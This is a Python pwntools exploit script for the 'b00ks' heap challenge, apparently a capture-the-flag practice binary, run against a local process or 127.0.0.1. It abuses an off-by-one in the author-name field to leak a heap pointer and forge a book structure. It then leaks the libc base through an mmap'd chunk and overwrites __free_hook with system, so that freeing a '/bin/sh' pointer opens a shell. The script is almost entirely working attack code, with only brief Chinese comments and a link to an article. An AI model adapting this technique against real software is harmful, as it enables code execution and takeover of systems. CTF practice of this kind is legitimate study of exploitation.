#!/usr/bin/env python
# -*- coding=utf-8 -*-

from pwn import *

context(log_level='debug', os='linux')

def create_book(target, name_size, book_name, desc_size, book_desc):
    target.recv()
    target.sendline('1')
    target.sendlineafter('Enter book name size: ', str(name_size))
    target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
    target.sendlineafter('Enter book description size: ', str(desc_size))
    target.sendlineafter('Enter book description: ', book_desc)

def delete_book(target, book_id):
    target.recv()
    target.sendline('2')
    target.sendlineafter('Enter the book id you want to delete: ', str(book_id))

def edit_book(target, book_id, book_desc):
    target.recv()
    target.sendline('3')
    target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
    target.sendlineafter('Enter new book description: ', book_desc)

def print_book(target):
    target.recvuntil('>')
    target.sendline('4')

def change_author_name(target, name):
    target.recv()
    target.sendline('5')
    target.sendlineafter('Enter author name: ', name)

def input_author_name(target, name):
    target.sendlineafter('Enter author name: ', name)

DEBUG = 1
LOCAL = 1

if LOCAL:
    target = process('./b00ks')
else:
    target = remote('127.0.0.1', 5678)

libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000

if DEBUG:
    pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))

input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created') #description的地址空间要大一些，使得伪造的bokk_struct落在description中。

# leak boo1_struct addr
print_book(target)

target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')

book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
#print hex(book1_struct_addr)
book2_struct_addr = book1_struct_addr + 0x30

create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')  #0x21000保证mmap分配内存

# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
#payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) + p64(0x555555554870) + p64(0xffff)
edit_book(target, 1, payload)

change_author_name(target, 'a'*32)
print 'aaaaaaaaaaaaaaaaaaaaaaaa'
print (book2_struct_addr + 8)
# leak book2_name ptr
print_book(target)

target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))
# print hex(book2_name_ptr)

# find in debug: mmap_addr - libcbase
offset =  0x7ffff7fb7010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset
print "offset="+ hex(offset)
print "libcbase="+ hex(libcbase)

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
print "free_hook = "+ hex(free_hook)
print "system = "+ hex(system)
print "binsh_addr = "+ hex(binsh_addr)

payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)

payload = p64(system)
edit_book(target, 2, payload)

## https://mp.weixin.qq.com/s/p1MvXg3hxC_iCGGj6fVf5Q
delete_book(target, 2)
target.interactive()